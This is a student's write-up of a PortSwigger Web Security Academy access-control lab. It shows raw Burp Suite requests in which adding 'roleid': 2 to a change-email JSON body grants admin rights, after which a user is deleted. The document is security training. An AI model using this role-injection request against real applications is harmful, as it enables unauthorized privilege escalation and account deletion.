

## Lab 4 - User role can be modified in user profile

Ahmed Khaled Saad Ali

ID:1809799

### Lab Progress & Screenshots:

#### Logging in as wiener



User role can be modified in user profile

[Back to lab description >>](#)

LAB Not solved



[Home](#) | [My account](#)

### Login

Username

wiener

Password

\*\*\*\*\*

Log in

We will turn Intercept ON, and enter an email and press “Update Email”



User role can be modified in user profile

[Back to lab description >>](#)

LAB Not solved



[Home](#) | [My account](#) | [Log out](#)

### My Account

Your username is: wiener

Your email is: wiener@normal-user.net

Email

sales@gmail.com

Update email

This POST request needs to be sent.

The screenshot shows the Burp Suite interface with the 'Proxy' tab selected. The 'Intercept' tab is active, displaying a request to `https://0a56001c046e8376c1865de100590024.web-security-academy.net:443`. The request is a POST to `/my-account/change-email` with a JSON body containing `"email": "sales@gmail.com"`. The 'Intercept is on' button is highlighted.

Request to `https://0a56001c046e8376c1865de100590024.web-security-academy.net:443` [34.246.129.62]

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex

```
1 POST /my-account/change-email HTTP/2
2 Host: 0a56001c046e8376c1865de100590024.web-security-academy.net
3 Cookie: session=CKwVGzVnnUcYbubF2pMvo8m071Z0TeFk
4 Content-Length: 27
5 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"
6 Sec-Ch-Ua-Platform: "Windows"
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
9 Content-Type: text/plain; charset=UTF-8
10 Accept: */*
11 Origin: https://0a56001c046e8376c1865de100590024.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a56001c046e8376c1865de100590024.web-security-academy.net/my-account
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9
18
19 {
20   "email": "sales@gmail.com"
21 }
```

We will take it to the "Repeater" and turn Intercept OFF

The screenshot shows the Burp Suite interface with the 'Proxy' tab selected. The 'Intercept' tab is active, displaying the same request as before. A context menu is open over the request, showing options like 'Send to Repeater' (Ctrl+R), 'Send to Sequencer', 'Send to Comparer', 'Send to Decoder', 'Insert Collaborator payload', 'Request in browser', 'Engagement tools [Pro version only]', 'Change request method', 'Change body encoding', 'Copy' (Ctrl+C), and 'Copy URL'.

Request to `https://0a56001c046e8376c1865de100590024.web-security-academy.net:443` [34.246.129.62]

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex

```
1 POST /my-account/change-email HTTP/2
2 Host: 0a56001c046e8376c1865de100590024.web-security-academy.net
3 Cookie: session=CKwVGzVnnUcYbubF2pMvo8m071Z0TeFk
4 Content-Length: 27
5 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"
6 Sec-Ch-Ua-Platform: "Windows"
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
9 Content-Type: text/plain; charset=UTF-8
10 Accept: */*
11 Origin: https://0a56001c046e8376c1865de100590024.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a56001c046e8376c1865de100590024.web-security-academy.net/my-account
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9
18
19 {
20   "email": "sales@gmail.com"
21 }
```

- Scan
- Send to Intruder Ctrl+I
- Send to Repeater Ctrl+R
- Send to Sequencer
- Send to Comparer
- Send to Decoder
- Insert Collaborator payload
- Request in browser >
- Engagement tools [Pro version only] >
- Change request method
- Change body encoding
- Copy Ctrl+C
- Copy URL

When we send Request in “Repeater” we get a Response with “roleid” of the user

The screenshot shows the Burp Suite Repeater interface. The top navigation bar includes Dashboard, Target, Proxy, Intruder, Repeater (selected), Collaborator, Sequencer, Decoder, Comparer, Logger, Extensions, and Learn. Below the navigation bar, there's a tab labeled '1 x' and a '+' icon. A toolbar contains 'Send', 'Cancel', and navigation arrows. The 'Target' field is set to 'https://0'. The main area is split into 'Request' and 'Response' panels. The 'Request' panel shows a POST request to '/my-account/change-email' with various headers and a JSON body containing 'email': 'sales@gmail.com'. The 'Response' panel shows an HTTP/2 302 Found status with a JSON body containing 'username': 'wiener', 'email': 'sales@gmail.com', 'apikey': '4ADTailHlKSioTpbXFD7u71UpeQWNYJL', and 'roleid': '1'.

```
Request
Pretty Raw Hex
1 POST /my-account/change-email HTTP/2
2 Host: 0a56001c046e8376c1865de100590024.web-security-academy.net
3 Cookie: session=CXwVGzVnnUcYbubF2pMvo8m07120TeFk
4 Content-Length: 27
5 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
6 Sec-Ch-Ua-Platform: "Windows"
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
9 Content-Type: text/plain; charset=UTF-8
10 Accept: */*
11 Origin: https://0a56001c046e8376c1865de100590024.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a56001c046e8376c1865de100590024.web-security-academy.net/my-account
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9
18 {
19   "email": "sales@gmail.com"
20 }
```

```
Response
Pretty Raw Hex Render
1 HTTP/2 302 Found
2 Location: /my-account
3 Content-Type: application/json; charset=utf-8
4 X-Frame-Options: SAMEORIGIN
5 Content-Length: 119
6 {
7   "username": "wiener",
8   "email": "sales@gmail.com",
9   "apikey": "4ADTailHlKSioTpbXFD7u71UpeQWNYJL",
10  "roleid": "1"
11 }
```

So, we can add in the Request “roleid:2” to access admin panel.

The screenshot shows the Burp Suite Repeater interface with the same setup as the previous image. The 'Request' panel shows the same POST request, but the JSON body now includes 'email': 'sales@gmail.com' and 'roleid': '2'. The 'Response' panel shows the same HTTP/2 302 Found status and JSON body, but the 'roleid' value is now '2'.

```
Request
Pretty Raw Hex
1 POST /my-account/change-email HTTP/2
2 Host: 0a56001c046e8376c1865de100590024.web-security-academy.net
3 Cookie: session=CXwVGzVnnUcYbubF2pMvo8m07120TeFk
4 Content-Length: 27
5 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
6 Sec-Ch-Ua-Platform: "Windows"
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
9 Content-Type: text/plain; charset=UTF-8
10 Accept: */*
11 Origin: https://0a56001c046e8376c1865de100590024.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a56001c046e8376c1865de100590024.web-security-academy.net/my-account
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9
18 {
19   "email": "sales@gmail.com",
20   "roleid": "2"
21 }
```

```
Response
Pretty Raw Hex Render
1 HTTP/2 302 Found
2 Location: /my-account
3 Content-Type: application/json; charset=utf-8
4 X-Frame-Options: SAMEORIGIN
5 Content-Length: 119
6 {
7   "username": "wiener",
8   "email": "sales@gmail.com",
9   "apikey": "4ADTailHlKSioTpbXFD7u71UpeQWNYJL",
10  "roleid": "2"
11 }
```

Sending request will result in a response with Admin roleid.

DashboardTargetProxyIntruderRepeaterCollaboratorSequencerDecoderComparerLoggerExtensionsLearn

1 x +

SendCancel<>Follow redirection

Target: https://0

Request

PrettyRawHex

1 POST /my-account/change-email HTTP/2

2 Host: 0a56001c046e8376c1865de100590024.web-security-academy.net

3 Cookie: session=CXwVGzVnnUcYhubF2pMvo8m07120TeFk

4 Content-Length: 48

5 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"

6 Sec-Ch-Ua-Platform: "Windows"

7 Sec-Ch-Ua-Mobile: ?0

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36

9 Content-Type: text/plain; charset=UTF-8

10 Accept: \*/\*

11 Origin: https://0a56001c046e8376c1865de100590024.web-security-academy.net

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

15 Referer: https://0a56001c046e8376c1865de100590024.web-security-academy.net/my-account

16 Accept-Encoding: gzip, deflate

17 Accept-Language: en-US,en;q=0.9

18 {

19 "email": "sales@gmail.com",

20 "roleid": 2

21 }

Response

PrettyRawHexRender

1 HTTP/2 302 Found

2 Location: /my-account

3 Content-Type: application/json; charset=utf-8

4 X-Frame-Options: SAMEORIGIN

5 Content-Length: 119

6 {

7 "username": "wiener",

8 "email": "sales@gmail.com",

9 "apikey": "4ADTailHLKSioTpbXFD7u71UpeQWNYJL",

10 "roleid": 2

11 }

Back to website, by refreshing we find we have Admin panel



User role can be modified in user profile

[Back to lab description >>](#)

LAB Not solved

[Home](#) | [Admin panel](#) | [My account](#) | [Log out](#)

## My Account

Your username is: wiener

Your email is: sales@gmail.com

Email

Update email

Deleting Carlos.



User role can be modified in user profile

[Back to lab description >>](#)

LAB Not solved

## Users

carlos - [Delete](#)  
wiener - [Delete](#)

[Home](#) | [Admin panel](#) | [My account](#)

Carlos deleted; lab solved.



User role can be modified in user profile

[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

[Share your skills!](#)

[Continue learning >>](#)

User deleted successfully!

## Users

wiener - [Delete](#)

[Home](#) | [Admin panel](#) | [My account](#)

Lessons:

- 1) Hide identifiers like roleid even for normal users, because as soon as admin's id is known normal users will be used as a vulnerability.
- 2) Check for buttons and features even if they appear not related to admin's account